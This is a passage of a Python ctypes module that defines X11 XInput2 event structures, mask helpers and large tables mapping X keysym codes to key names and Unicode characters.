        ("event_x",    ct.c_double),
        ("event_y",    ct.c_double),
        ("flags",      ct.c_int),
        ("buttons",    XIButtonState),
        ("valuators",  XIValuatorState),
        ("mods",       XIModifierState),
        ("group",      XIModifierState),
    ]


class XErrorEvent(ct.Structure):
    _fields_ = [
        ("type",       ct.c_int),
        ("display",    ct.c_void_p),
        ("serial",     ct.c_uint),
        ("error_code", ct.c_char),
        ("request_code", ct.c_char),
        ("minor_code", ct.c_char),
        ("XID",        ct.c_ulong)
    ]


def XiMaxLen():
    return (((27) >> 3) + 1)


def XiSetMask(mask, event):
    mask[(event)>>3] |= (1 << ((event) & 7))


KEYSYM_TO_XK_TABLE = {
    0xff08: "BackSpace", 0xff09: "Tab", 0xff0a: "Linefeed",
    0xff0b: "Clear", 0xff0d: "Return", 0xff13: "Pause",
    0xff14: "Scroll_Lock", 0xff15: "Sys_Req", 0xff1b: "Escape",
    0xff20: "Multi_key", 0xff21: "Kanji", 0xff22: "Muhenkan",
    0xff23: "Henkan_Mode", 0xff24: "Romaji", 0xff25: "Hiragana",
    0xff26: "Katakana", 0xff27: "Hiragana_Katakana", 0xff28: "Zenkaku",
    0xff29: "Hankaku", 0xff2a: "Zenkaku_Hankaku", 0xff2b: "Touroku",
    0xff2c: "Massyo", 0xff2d: "Kana_Lock", 0xff2e: "Kana_Shift",
    0xff2f: "Eisu_Shift", 0xff30: "Eisu_toggle", 0xff31: "Hangul",
    0xff32: "Hangul_Start", 0xff33: "Hangul_End", 0xff34: "Hangul_Hanja",
    0xff35: "Hangul_Jamo", 0xff36: "Hangul_Romaja", 0xff37: "Codeinput",
    0xff38: "Hangul_Jeonja", 0xff39: "Hangul_Banja", 0xff3a: "Hangul_PreHanja",
    0xff3b: "Hangul_PostHanja", 0xff3c: "SingleCandidate", 0xff3d: "MultipleCandidate",
    0xff3e: "PreviousCandidate", 0xff3f: "Hangul_Special", 0xff50: "Home",
    0xff51: "Left", 0xff52: "Up", 0xff53: "Right",
    0xff54: "Down", 0xff55: "Prior", 0xff56: "Next",
    0xff57: "End", 0xff58: "Begin", 0xff60: "Select",
    0xff61: "Print", 0xff62: "Execute", 0xff63: "Insert",
    0xff65: "Undo", 0xff66: "Redo", 0xff67: "Menu",
    0xff68: "Find", 0xff69: "Cancel", 0xff6a: "Help",
    0xff6b: "Break", 0xff7e: "Mode_switch", 0xff7f: "Num_Lock",
    0xff80: "KP_Space", 0xff89: "KP_Tab", 0xff8d: "KP_Enter",
    0xff91: "KP_F1", 0xff92: "KP_F2", 0xff93: "KP_F3",
    0xff94: "KP_F4", 0xff95: "KP_Home", 0xff96: "KP_Left",
    0xff97: "KP_Up", 0xff98: "KP_Right", 0xff99: "KP_Down",
    0xff9a: "KP_Prior", 0xff9b: "KP_Next", 0xff9c: "KP_End",
    0xff9d: "KP_Begin", 0xff9e: "KP_Insert", 0xff9f: "KP_Delete",
    0xffaa: "KP_Multiply", 0xffab: "KP_Add", 0xffac: "KP_Separator",
    0xffad: "KP_Subtract", 0xffae: "KP_Decimal", 0xffaf: "KP_Divide",
    0xffb0: "KP_0", 0xffb1: "KP_1", 0xffb2: "KP_2",
    0xffb3: "KP_3", 0xffb4: "KP_4", 0xffb5: "KP_5",
    0xffb6: "KP_6", 0xffb7: "KP_7", 0xffb8: "KP_8",
    0xffb9: "KP_9", 0xffbd: "KP_Equal", 0xffbe: "F1",
    0xffbf: "F2", 0xffc0: "F3", 0xffc1: "F4",
    0xffc2: "F5", 0xffc3: "F6", 0xffc4: "F7",
    0xffc5: "F8", 0xffc6: "F9", 0xffc7: "F10",
    0xffc8: "F11", 0xffc9: "F12", 0xffca: "F13",
    0xffcb: "F14", 0xffcc: "F15", 0xffcd: "F16",
    0xffce: "F17", 0xffcf: "F18", 0xffd0: "F19",
    0xffd1: "F20", 0xffd2: "F21", 0xffd3: "F22",
    0xffd4: "F23", 0xffd5: "F24", 0xffd6: "F25",
    0xffd7: "F26", 0xffd8: "F27", 0xffd9: "F28",
    0xffda: "F29", 0xffdb: "F30", 0xffdc: "F31",
    0xffdd: "F32", 0xffde: "F33", 0xffdf: "F34",
    0xffe0: "F35", 0xffe1: "Shift_L", 0xffe2: "Shift_R",
    0xffe3: "Control_L", 0xffe4: "Control_R", 0xffe5: "Caps_Lock",
    0xffe6: "Shift_Lock", 0xffe7: "Meta_L", 0xffe8: "Meta_R",
    0xffe9: "Alt_L", 0xffea: "Alt_R", 0xffeb: "Super_L",
    0xffec: "Super_R", 0xffed: "Hyper_L", 0xffee: "Hyper_R",
    0xfff1: "braille_dot_1", 0xfff2: "braille_dot_2", 0xfff3: "braille_dot_3",
    0xfff4: "braille_dot_4", 0xfff5: "braille_dot_5", 0xfff6: "braille_dot_6",
    0xfff7: "braille_dot_7", 0xfff8: "braille_dot_8", 0xfff9: "braille_dot_9",
    0xfffa: "braille_dot_10", 0xffff: "Delete"
}

def keysym_to_XK(ks):
    return KEYSYM_TO_XK_TABLE.get(ks)


# https://raw.githubusercontent.com/substack/node-keysym/master/data/keysyms.txt
KEYSYM_TO_UNICODE_TABLE = {
    0x0020: u'\u0020', 0x0021: u'\u0021', 0x0022: u'\u0022', 0x0023: u'\u0023', 0x0024: u'\u0024',
    0x0025: u'\u0025', 0x0026: u'\u0026', 0x0027: u'\u0027', 0x0027: u'\u0027', 0x0028: u'\u0028',
    0x0029: u'\u0029', 0x002a: u'\u002a', 0x002b: u'\u002b', 0x002c: u'\u002c', 0x002d: u'\u002d',
    0x002e: u'\u002e', 0x002f: u'\u002f', 0x0030: u'\u0030', 0x0031: u'\u0031', 0x0032: u'\u0032',
    0x0033: u'\u0033', 0x0034: u'\u0034', 0x0035: u'\u0035', 0x0036: u'\u0036', 0x0037: u'\u0037',
    0x0038: u'\u0038', 0x0039: u'\u0039', 0x003a: u'\u003a', 0x003b: u'\u003b', 0x003c: u'\u003c',
    0x003d: u'\u003d', 0x003e: u'\u003e', 0x003f: u'\u003f', 0x0040: u'\u0040', 0x0041: u'\u0041',
    0x0042: u'\u0042', 0x0043: u'\u0043', 0x0044: u'\u0044', 0x0045: u'\u0045', 0x0046: u'\u0046',
    0x0047: u'\u0047', 0x0048: u'\u0048', 0x0049: u'\u0049', 0x004a: u'\u004a', 0x004b: u'\u004b',
    0x004c: u'\u004c', 0x004d: u'\u004d', 0x004e: u'\u004e', 0x004f: u'\u004f', 0x0050: u'\u0050',
    0x0051: u'\u0051', 0x0052: u'\u0052', 0x0053: u'\u0053', 0x0054: u'\u0054', 0x0055: u'\u0055',
    0x0056: u'\u0056', 0x0057: u'\u0057', 0x0058: u'\u0058', 0x0059: u'\u0059', 0x005a: u'\u005a',
    0x005b: u'\u005b', 0x005c: u'\u005c', 0x005d: u'\u005d', 0x005e: u'\u005e', 0x005f: u'\u005f',
    0x0060: u'\u0060', 0x0060: u'\u0060', 0x0061: u'\u0061', 0x0062: u'\u0062', 0x0063: u'\u0063',
    0x0064: u'\u0064', 0x0065: u'\u0065', 0x0066: u'\u0066', 0x0067: u'\u0067', 0x0068: u'\u0068',
    0x0069: u'\u0069', 0x006a: u'\u006a', 0x006b: u'\u006b', 0x006c: u'\u006c', 0x006d: u'\u006d',
    0x006e: u'\u006e', 0x006f: u'\u006f', 0x0070: u'\u0070', 0x0071: u'\u0071', 0x0072: u'\u0072',
    0x0073: u'\u0073', 0x0074: u'\u0074', 0x0075: u'\u0075', 0x0076: u'\u0076', 0x0077: u'\u0077',
    0x0078: u'\u0078', 0x0079: u'\u0079', 0x007a: u'\u007a', 0x007b: u'\u007b', 0x007c: u'\u007c',
    0x007d: u'\u007d', 0x007e: u'\u007e', 0x00a0: u'\u00a0', 0x00a1: u'\u00a1', 0x00a2: u'\u00a2',
    0x00a3: u'\u00a3', 0x00a4: u'\u00a4', 0x00a5: u'\u00a5', 0x00a6: u'\u00a6', 0x00a7: u'\u00a7',
    0x00a8: u'\u00a8', 0x00a9: u'\u00a9', 0x00aa: u'\u00aa', 0x00ab: u'\u00ab', 0x00ac: u'\u00ac',
    0x00ad: u'\u00ad', 0x00ae: u'\u00ae', 0x00af: u'\u00af', 0x00b0: u'\u00b0', 0x00b1: u'\u00b1',
    0x00b2: u'\u00b2', 0x00b3: u'\u00b3', 0x00b4: u'\u00b4', 0x00b5: u'\u00b5', 0x00b6: u'\u00b6',
    0x00b7: u'\u00b7', 0x00b8: u'\u00b8', 0x00b9: u'\u00b9', 0x00ba: u'\u00ba', 0x00bb: u'\u00bb',
    0x00bc: u'\u00bc', 0x00bd: u'\u00bd', 0x00be: u'\u00be', 0x00bf: u'\u00bf', 0x00c0: u'\u00c0',
    0x00c1: u'\u00c1', 0x00c2: u'\u00c2', 0x00c3: u'\u00c3', 0x00c4: u'\u00c4', 0x00c5: u'\u00c5',
    0x00c6: u'\u00c6', 0x00c7: u'\u00c7', 0x00c8: u'\u00c8', 0x00c9: u'\u00c9', 0x00ca: u'\u00ca',
    0x00cb: u'\u00cb', 0x00cc: u'\u00cc', 0x00cd: u'\u00cd', 0x00ce: u'\u00ce', 0x00cf: u'\u00cf',
    0x00d0: u'\u00d0', 0x00d0: u'\u00d0', 0x00d1: u'\u00d1', 0x00d2: u'\u00d2', 0x00d3: u'\u00d3',
    0x00d4: u'\u00d4', 0x00d5: u'\u00d5', 0x00d6: u'\u00d6', 0x00d7: u'\u00d7', 0x00d8: u'\u00d8',
    0x00d9: u'\u00d9', 0x00da: u'\u00da', 0x00db: u'\u00db', 0x00dc: u'\u00dc', 0x00dd: u'\u00dd',
    0x00de: u'\u00de', 0x00de: u'\u00de', 0x00df: u'\u00df', 0x00e0: u'\u00e0', 0x00e1: u'\u00e1',
    0x00e2: u'\u00e2', 0x00e3: u'\u00e3', 0x00e4: u'\u00e4', 0x00e5: u'\u00e5', 0x00e6: u'\u00e6',
    0x00e7: u'\u00e7', 0x00e8: u'\u00e8', 0x00e9: u'\u00e9', 0x00ea: u'\u00ea', 0x00eb: u'\u00eb',
    0x00ec: u'\u00ec', 0x00ed: u'\u00ed', 0x00ee: u'\u00ee', 0x00ef: u'\u00ef', 0x00f0: u'\u00f0',
    0x00f1: u'\u00f1', 0x00f2: u'\u00f2', 0x00f3: u'\u00f3', 0x00f4: u'\u00f4', 0x00f5: u'\u00f5',
    0x00f6: u'\u00f6', 0x00f7: u'\u00f7', 0x00f8: u'\u00f8', 0x00f9: u'\u00f9', 0x00fa: u'\u00fa',
    0x00fb: u'\u00fb', 0x00fc: u'\u00fc', 0x00fd: u'\u00fd', 0x00fe: u'\u00fe', 0x00ff: u'\u00ff',
    0x01a1: u'\u0104', 0x01a2: u'\u02d8', 0x01a3: u'\u0141', 0x01a5: u'\u013d', 0x01a6: u'\u015a',
    0x01a9: u'\u0160', 0x01aa: u'\u015e', 0x01ab: u'\u0164', 0x01ac: u'\u0179', 0x01ae: u'\u017d',
    0x01af: u'\u017b', 0x01b1: u'\u0105', 0x01b2: u'\u02db', 0x01b3: u'\u0142', 0x01b5: u'\u013e',
    0x01b6: u'\u015b', 0x01b7: u'\u02c7', 0x01b9: u'\u0161', 0x01ba: u'\u015f', 0x01bb: u'\u0165',
    0x01bc: u'\u017a', 0x01bd: u'\u02dd', 0x01be: u'\u017e', 0x01bf: u'\u017c', 0x01c0: u'\u0154',
    0x01c3: u'\u0102', 0x01c5: u'\u0139', 0x01c6: u'\u0106', 0x01c8: u'\u010c', 0x01ca: u'\u0118',
    0x01cc: u'\u011a', 0x01cf: u'\u010e', 0x01d0: u'\u0110', 0x01d1: u'\u0143', 0x01d2: u'\u0147',
    0x01d5: u'\u0150', 0x01d8: u'\u0158', 0x01d9: u'\u016e', 0x01db: u'\u0170', 0x01de: u'\u0162',
    0x01e0: u'\u0155', 0x01e3: u'\u0103', 0x01e5: u'\u013a', 0x01e6: u'\u0107', 0x01e8: u'\u010d',
    0x01ea: u'\u0119', 0x01ec: u'\u011b', 0x01ef: u'\u010f', 0x01f0: u'\u0111', 0x01f1: u'\u0144',
    0x01f2: u'\u0148', 0x01f5: u'\u0151', 0x01f8: u'\u0159', 0x01f9: u'\u016f', 0x01fb: u'\u0171',
    0x01fe: u'\u0163', 0x01ff: u'\u02d9', 0x02a1: u'\u0126', 0x02a6: u'\u0124', 0x02a9: u'\u0130',
    0x02ab: u'\u011e', 0x02ac: u'\u0134', 0x02b1: u'\u0127', 0x02b6: u'\u0125', 0x02b9: u'\u0131',
    0x02bb: u'\u011f', 0x02bc: u'\u0135', 0x02c5: u'\u010a', 0x02c6: u'\u0108', 0x02d5: u'\u0120',
    0x02d8: u'\u011c', 0x02dd: u'\u016c', 0x02de: u'\u015c', 0x02e5: u'\u010b', 0x02e6: u'\u0109',
    0x02f5: u'\u0121', 0x02f8: u'\u011d', 0x02fd: u'\u016d', 0x02fe: u'\u015d', 0x03a2: u'\u0138',
    0x03a3: u'\u0156', 0x03a5: u'\u0128', 0x03a6: u'\u013b', 0x03aa: u'\u0112', 0x03ab: u'\u0122',
    0x03ac: u'\u0166', 0x03b3: u'\u0157', 0x03b5: u'\u0129', 0x03b6: u'\u013c', 0x03ba: u'\u0113',
    0x03bb: u'\u0123', 0x03bc: u'\u0167', 0x03bd: u'\u014a', 0x03bf: u'\u014b', 0x03c0: u'\u0100',
    0x03c7: u'\u012e', 0x03cc: u'\u0116', 0x03cf: u'\u012a', 0x03d1: u'\u0145', 0x03d2: u'\u014c',
    0x03d3: u'\u0136', 0x03d9: u'\u0172', 0x03dd: u'\u0168', 0x03de: u'\u016a', 0x03e0: u'\u0101',
    0x03e7: u'\u012f', 0x03ec: u'\u0117', 0x03ef: u'\u012b', 0x03f1: u'\u0146', 0x03f2: u'\u014d',
    0x03f3: u'\u0137', 0x03f9: u'\u0173', 0x03fd: u'\u0169', 0x03fe: u'\u016b', 0x047e: u'\u203e',
    0x04a1: u'\u3002', 0x04a2: u'\u300c', 0x04a3: u'\u300d', 0x04a4: u'\u3001', 0x04a5: u'\u30fb',
    0x04a6: u'\u30f2', 0x04a7: u'\u30a1', 0x04a8: u'\u30a3', 0x04a9: u'\u30a5', 0x04aa: u'\u30a7',
    0x04ab: u'\u30a9', 0x04ac: u'\u30e3', 0x04ad: u'\u30e5', 0x04ae: u'\u30e7', 0x04af: u'\u30c3',
    0x04b0: u'\u30fc', 0x04b1: u'\u30a2', 0x04b2: u'\u30a4', 0x04b3: u'\u30a6', 0x04b4: u'\u30a8',
    0x04b5: u'\u30aa', 0x04b6: u'\u30ab', 0x04b7: u'\u30ad', 0x04b8: u'\u30af', 0x04b9: u'\u30b1',
    0x04ba: u'\u30b3', 0x04bb: u'\u30b5', 0x04bc: u'\u30b7', 0x04bd: u'\u30b9', 0x04be: u'\u30bb',
    0x04bf: u'\u30bd', 0x04c0: u'\u30bf', 0x04c1: u'\u30c1', 0x04c2: u'\u30c4', 0x04c3: u'\u30c6',
    0x04c4: u'\u30c8', 0x04c5: u'\u30ca', 0x04c6: u'\u30cb', 0x04c7: u'\u30cc', 0x04c8: u'\u30cd',
    0x04c9: u'\u30ce', 0x04ca: u'\u30cf', 0x04cb: u'\u30d2', 0x04cc: u'\u30d5', 0x04cd: u'\u30d8',
    0x04ce: u'\u30db', 0x04cf: u'\u30de', 0x04d0: u'\u30df', 0x04d1: u'\u30e0', 0x04d2: u'\u30e1',
    0x04d3: u'\u30e2', 0x04d4: u'\u30e4', 0x04d5: u'\u30e6', 0x04d6: u'\u30e8', 0x04d7: u'\u30e9',
    0x04d8: u'\u30ea', 0x04d9: u'\u30eb', 0x04da: u'\u30ec', 0x04db: u'\u30ed', 0x04dc: u'\u30ef',
    0x04dd: u'\u30f3', 0x04de: u'\u309b', 0x04df: u'\u309c', 0x05ac: u'\u060c', 0x05bb: u'\u061b',
    0x05bf: u'\u061f', 0x05c1: u'\u0621', 0x05c2: u'\u0622', 0x05c3: u'\u0623', 0x05c4: u'\u0624',
    0x05c5: u'\u0625', 0x05c6: u'\u0626', 0x05c7: u'\u0627', 0x05c8: u'\u0628', 0x05c9: u'\u0629',
    0x05ca: u'\u062a', 0x05cb: u'\u062b', 0x05cc: u'\u062c', 0x05cd: u'\u062d', 0x05ce: u'\u062e',
    0x05cf: u'\u062f', 0x05d0: u'\u0630', 0x05d1: u'\u0631', 0x05d2: u'\u0632', 0x05d3: u'\u0633',
    0x05d4: u'\u0634', 0x05d5: u'\u0635', 0x05d6: u'\u0636', 0x05d7: u'\u0637', 0x05d8: u'\u0638',
    0x05d9: u'\u0639', 0x05da: u'\u063a', 0x05e0: u'\u0640', 0x05e1: u'\u0641', 0x05e2: u'\u0642',
    0x05e3: u'\u0643', 0x05e4: u'\u0644', 0x05e5: u'\u0645', 0x05e6: u'\u0646', 0x05e7: u'\u0647',
    0x05e8: u'\u0648', 0x05e9: u'\u0649', 0x05ea: u'\u064a', 0x05eb: u'\u064b', 0x05ec: u'\u064c',
    0x05ed: u'\u064d', 0x05ee: u'\u064e', 0x05ef: u'\u064f', 0x05f0: u'\u0650', 0x05f1: u'\u0651',
    0x05f2: u'\u0652', 0x06a1: u'\u0452', 0x06a2: u'\u0453', 0x06a3: u'\u0451', 0x06a4: u'\u0454',
    0x06a5: u'\u0455', 0x06a6: u'\u0456', 0x06a7: u'\u0457', 0x06a8: u'\u0458', 0x06a9: u'\u0459',
    0x06aa: u'\u045a', 0x06ab: u'\u045b', 0x06ac: u'\u045c', 0x06ae: u'\u045e', 0x06af: u'\u045f',
    0x06b0: u'\u2116', 0x06b1: u'\u0402', 0x06b2: u'\u0403', 0x06b3: u'\u0401', 0x06b4: u'\u0404',
    0x06b5: u'\u0405', 0x06b6: u'\u0406', 0x06b7: u'\u0407', 0x06b8: u'\u0408', 0x06b9: u'\u0409',
    0x06ba: u'\u040a', 0x06bb: u'\u040b', 0x06bc: u'\u040c', 0x06be: u'\u040e', 0x06bf: u'\u040f',
    0x06c0: u'\u044e', 0x06c1: u'\u0430', 0x06c2: u'\u0431', 0x06c3: u'\u0446', 0x06c4: u'\u0434',
    0x06c5: u'\u0435', 0x06c6: u'\u0444', 0x06c7: u'\u0433', 0x06c8: u'\u0445', 0x06c9: u'\u0438',
    0x06ca: u'\u0439', 0x06cb: u'\u043a', 0x06cc: u'\u043b', 0x06cd: u'\u043c', 0x06ce: u'\u043d',
    0x06cf: u'\u043e', 0x06d0: u'\u043f', 0x06d1: u'\u044f', 0x06d2: u'\u0440', 0x06d3: u'\u0441',
    0x06d4: u'\u0442', 0x06d5: u'\u0443', 0x06d6: u'\u0436', 0x06d7: u'\u0432', 0x06d8: u'\u044c',
    0x06d9: u'\u044b', 0x06da: u'\u0437', 0x06db: u'\u0448', 0x06dc: u'\u044d', 0x06dd: u'\u0449',
    0x06de: u'\u0447', 0x06df: u'\u044a', 0x06e0: u'\u042e', 0x06e1: u'\u0410', 0x06e2: u'\u0411',
    0x06e3: u'\u0426', 0x06e4: u'\u0414', 0x06e5: u'\u0415', 0x06e6: u'\u0424', 0x06e7: u'\u0413',
    0x06e8: u'\u0425', 0x06e9: u'\u0418', 0x06ea: u'\u0419', 0x06eb: u'\u041a', 0x06ec: u'\u041b',
    0x06ed: u'\u041c', 0x06ee: u'\u041d', 0x06ef: u'\u041e', 0x06f0: u'\u041f', 0x06f1: u'\u042f',
    0x06f2: u'\u0420', 0x06f3: u'\u0421', 0x06f4: u'\u0422', 0x06f5: u'\u0423', 0x06f6: u'\u0416',
    0x06f7: u'\u0412', 0x06f8: u'\u042c', 0x06f9: u'\u042b', 0x06fa: u'\u0417', 0x06fb: u'\u0428',
    0x06fc: u'\u042d', 0x06fd: u'\u0429', 0x06fe: u'\u0427', 0x06ff: u'\u042a', 0x07a1: u'\u0386',
    0x07a2: u'\u0388', 0x07a3: u'\u0389', 0x07a4: u'\u038a', 0x07a5: u'\u03aa', 0x07a7: u'\u038c',
    0x07a8: u'\u038e', 0x07a9: u'\u03ab', 0x07ab: u'\u038f', 0x07ae: u'\u0385', 0x07af: u'\u2015',
    0x07b1: u'\u03ac', 0x07b2: u'\u03ad', 0x07b3: u'\u03ae', 0x07b4: u'\u03af', 0x07b5: u'\u03ca',
    0x07b6: u'\u0390', 0x07b7: u'\u03cc', 0x07b8: u'\u03cd', 0x07b9: u'\u03cb', 0x07ba: u'\u03b0',
    0x07bb: u'\u03ce', 0x07c1: u'\u0391', 0x07c2: u'\u0392', 0x07c3: u'\u0393', 0x07c4: u'\u0394',
    0x07c5: u'\u0395', 0x07c6: u'\u0396', 0x07c7: u'\u0397', 0x07c8: u'\u0398', 0x07c9: u'\u0399',
    0x07ca: u'\u039a', 0x07cb: u'\u039b', 0x07cb: u'\u039b', 0x07cc: u'\u039c', 0x07cd: u'\u039d',
    0x07ce: u'\u039e', 0x07cf: u'\u039f', 0x07d0: u'\u03a0', 0x07d1: u'\u03a1', 0x07d2: u'\u03a3',
    0x07d4: u'\u03a4', 0x07d5: u'\u03a5', 0x07d6: u'\u03a6', 0x07d7: u'\u03a7', 0x07d8: u'\u03a8',
    0x07d9: u'\u03a9', 0x07e1: u'\u03b1', 0x07e2: u'\u03b2', 0x07e3: u'\u03b3', 0x07e4: u'\u03b4',
    0x07e5: u'\u03b5', 0x07e6: u'\u03b6', 0x07e7: u'\u03b7', 0x07e8: u'\u03b8', 0x07e9: u'\u03b9',
    0x07ea: u'\u03ba', 0x07eb: u'\u03bb', 0x07ec: u'\u03bc', 0x07ed: u'\u03bd', 0x07ee: u'\u03be',
    0x07ef: u'\u03bf', 0x07f0: u'\u03c0', 0x07f1: u'\u03c1', 0x07f2: u'\u03c3', 0x07f3: u'\u03c2',
    0x07f4: u'\u03c4', 0x07f5: u'\u03c5', 0x07f6: u'\u03c6', 0x07f7: u'\u03c7', 0x07f8: u'\u03c8',
    0x07f9: u'\u03c9', 0x08a1: u'\u23b7', 0x08a2: u'\u250c', 0x08a3: u'\u2500', 0x08a4: u'\u2320',
    0x08a5: u'\u2321', 0x08a6: u'\u2502', 0x08a7: u'\u23a1', 0x08a8: u'\u23a3', 0x08a9: u'\u23a4',
    0x08aa: u'\u23a6', 0x08ab: u'\u239b', 0x08ac: u'\u239d', 0x08ad: u'\u239e', 0x08ae: u'\u23a0',
    0x08af: u'\u23a8', 0x08b0: u'\u23ac', 0x08bc: u'\u2264', 0x08bd: u'\u2260', 0x08be: u'\u2265',
    0x08bf: u'\u222b', 0x08c0: u'\u2234', 0x08c1: u'\u221d', 0x08c2: u'\u221e', 0x08c5: u'\u2207',
    0x08c8: u'\u223c', 0x08c9: u'\u2243', 0x08cd: u'\u21d4', 0x08ce: u'\u21d2', 0x08cf: u'\u2261',
    0x08d6: u'\u221a', 0x08da: u'\u2282', 0x08db: u'\u2283', 0x08dc: u'\u2229', 0x08dd: u'\u222a',
    0x08de: u'\u2227', 0x08df: u'\u2228', 0x08ef: u'\u2202', 0x08f6: u'\u0192', 0x08fb: u'\u2190',
    0x08fc: u'\u2191', 0x08fd: u'\u2192', 0x08fe: u'\u2193', 0x09e0: u'\u25c6', 0x09e1: u'\u2592',
    0x09e2: u'\u2409', 0x09e3: u'\u240c', 0x09e4: u'\u240d', 0x09e5: u'\u240a', 0x09e8: u'\u2424',
    0x09e9: u'\u240b', 0x09ea: u'\u2518', 0x09eb: u'\u2510', 0x09ec: u'\u250c', 0x09ed: u'\u2514',
    0x09ee: u'\u253c', 0x09ef: u'\u23ba', 0x09f0: u'\u23bb', 0x09f1: u'\u2500', 0x09f2: u'\u23bc',
    0x09f3: u'\u23bd', 0x09f4: u'\u251c', 0x09f5: u'\u2524', 0x09f6: u'\u2534', 0x09f7: u'\u252c',
    0x09f8: u'\u2502', 0x0aa1: u'\u2003', 0x0aa2: u'\u2002', 0x0aa3: u'\u2004', 0x0aa4: u'\u2005',
    0x0aa5: u'\u2007', 0x0aa6: u'\u2008', 0x0aa7: u'\u2009', 0x0aa8: u'\u200a', 0x0aa9: u'\u2014',
    0x0aaa: u'\u2013', 0x0aac: u'\u2423', 0x0aae: u'\u2026', 0x0aaf: u'\u2025', 0x0ab0: u'\u2153',
    0x0ab1: u'\u2154', 0x0ab2: u'\u2155', 0x0ab3: u'\u2156', 0x0ab4: u'\u2157', 0x0ab5: u'\u2158',
    0x0ab6: u'\u2159', 0x0ab7: u'\u215a', 0x0ab8: u'\u2105', 0x0abb: u'\u2012', 0x0abc: u'\u27e8',
    0x0abd: u'\u002e', 0x0abe: u'\u27e9', 0x0ac3: u'\u215b', 0x0ac4: u'\u215c', 0x0ac5: u'\u215d',
    0x0ac6: u'\u215e', 0x0ac9: u'\u2122', 0x0aca: u'\u2613', 0x0acc: u'\u25c1', 0x0acd: u'\u25b7',
    0x0ace: u'\u25cb', 0x0acf: u'\u25af', 0x0ad0: u'\u2018', 0x0ad1: u'\u2019', 0x0ad2: u'\u201c',
    0x0ad3: u'\u201d', 0x0ad4: u'\u211e', 0x0ad6: u'\u2032', 0x0ad7: u'\u2033', 0x0ad9: u'\u271d',
    0x0adb: u'\u25ac', 0x0adc: u'\u25c0', 0x0add: u'\u25b6', 0x0ade: u'\u25cf', 0x0adf: u'\u25ae',
    0x0ae0: u'\u25e6', 0x0ae1: u'\u25ab', 0x0ae2: u'\u25ad', 0x0ae3: u'\u25b3', 0x0ae4: u'\u25bd',
    0x0ae5: u'\u2606', 0x0ae6: u'\u2022', 0x0ae7: u'\u25aa', 0x0ae8: u'\u25b2', 0x0ae9: u'\u25bc',
    0x0aea: u'\u261c', 0x0aeb: u'\u261e', 0x0aec: u'\u2663', 0x0aed: u'\u2666', 0x0aee: u'\u2665',
    0x0af0: u'\u2720', 0x0af1: u'\u2020', 0x0af2: u'\u2021', 0x0af3: u'\u2713', 0x0af4: u'\u2717',
    0x0af5: u'\u266f', 0x0af6: u'\u266d', 0x0af7: u'\u2642', 0x0af8: u'\u2640', 0x0af9: u'\u260e',
    0x0afa: u'\u2315', 0x0afb: u'\u2117', 0x0afc: u'\u2038', 0x0afd: u'\u201a', 0x0afe: u'\u201e',
    0x0ba3: u'\u003c', 0x0ba6: u'\u003e', 0x0ba8: u'\u2228', 0x0ba9: u'\u2227', 0x0bc0: u'\u00af',
    0x0bc2: u'\u22a5', 0x0bc3: u'\u2229', 0x0bc4: u'\u230a', 0x0bc6: u'\u005f', 0x0bca: u'\u2218',
    0x0bcc: u'\u2395', 0x0bce: u'\u22a4', 0x0bcf: u'\u25cb', 0x0bd3: u'\u2308', 0x0bd6: u'\u222a',
    0x0bd8: u'\u2283', 0x0bda: u'\u2282', 0x0bdc: u'\u22a2', 0x0bfc: u'\u22a3', 0x0cdf: u'\u2017',
    0x0ce0: u'\u05d0', 0x0ce1: u'\u05d1', 0x0ce1: u'\u05d1', 0x0ce2: u'\u05d2', 0x0ce2: u'\u05d2',
    0x0ce3: u'\u05d3', 0x0ce3: u'\u05d3', 0x0ce4: u'\u05d4', 0x0ce5: u'\u05d5', 0x0ce6: u'\u05d6',
    0x0ce6: u'\u05d6', 0x0ce7: u'\u05d7', 0x0ce7: u'\u05d7', 0x0ce8: u'\u05d8', 0x0ce8: u'\u05d8',
    0x0ce9: u'\u05d9', 0x0cea: u'\u05da', 0x0ceb: u'\u05db', 0x0cec: u'\u05dc', 0x0ced: u'\u05dd',
    0x0cee: u'\u05de', 0x0cef: u'\u05df', 0x0cf0: u'\u05e0', 0x0cf1: u'\u05e1', 0x0cf1: u'\u05e1',
    0x0cf2: u'\u05e2', 0x0cf3: u'\u05e3', 0x0cf4: u'\u05e4', 0x0cf5: u'\u05e5', 0x0cf5: u'\u05e5',
    0x0cf6: u'\u05e6', 0x0cf6: u'\u05e6', 0x0cf7: u'\u05e7', 0x0cf7: u'\u05e7', 0x0cf8: u'\u05e8',
    0x0cf9: u'\u05e9', 0x0cfa: u'\u05ea', 0x0cfa: u'\u05ea', 0x0da1: u'\u0e01', 0x0da2: u'\u0e02',
    0x0da3: u'\u0e03', 0x0da4: u'\u0e04', 0x0da5: u'\u0e05', 0x0da6: u'\u0e06', 0x0da7: u'\u0e07',
    0x0da8: u'\u0e08', 0x0da9: u'\u0e09', 0x0daa: u'\u0e0a', 0x0dab: u'\u0e0b', 0x0dac: u'\u0e0c',
    0x0dad: u'\u0e0d', 0x0dae: u'\u0e0e', 0x0daf: u'\u0e0f', 0x0db0: u'\u0e10', 0x0db1: u'\u0e11',
    0x0db2: u'\u0e12', 0x0db3: u'\u0e13', 0x0db4: u'\u0e14', 0x0db5: u'\u0e15', 0x0db6: u'\u0e16',
    0x0db7: u'\u0e17', 0x0db8: u'\u0e18', 0x0db9: u'\u0e19', 0x0dba: u'\u0e1a', 0x0dbb: u'\u0e1b',
    0x0dbc: u'\u0e1c', 0x0dbd: u'\u0e1d', 0x0dbe: u'\u0e1e', 0x0dbf: u'\u0e1f', 0x0dc0: u'\u0e20',
    0x0dc1: u'\u0e21', 0x0dc2: u'\u0e22', 0x0dc3: u'\u0e23', 0x0dc4: u'\u0e24', 0x0dc5: u'\u0e25',
    0x0dc6: u'\u0e26', 0x0dc7: u'\u0e27', 0x0dc8: u'\u0e28', 0x0dc9: u'\u0e29', 0x0dca: u'\u0e2a',
    0x0dcb: u'\u0e2b', 0x0dcc: u'\u0e2c', 0x0dcd: u'\u0e2d', 0x0dce: u'\u0e2e', 0x0dcf: u'\u0e2f',
    0x0dd0: u'\u0e30', 0x0dd1: u'\u0e31', 0x0dd2: u'\u0e32', 0x0dd3: u'\u0e33', 0x0dd4: u'\u0e34',
    0x0dd5: u'\u0e35', 0x0dd6: u'\u0e36', 0x0dd7: u'\u0e37', 0x0dd8: u'\u0e38', 0x0dd9: u'\u0e39',
    0x0dda: u'\u0e3a', 0x0ddf: u'\u0e3f', 0x0de0: u'\u0e40', 0x0de1: u'\u0e41', 0x0de2: u'\u0e42',
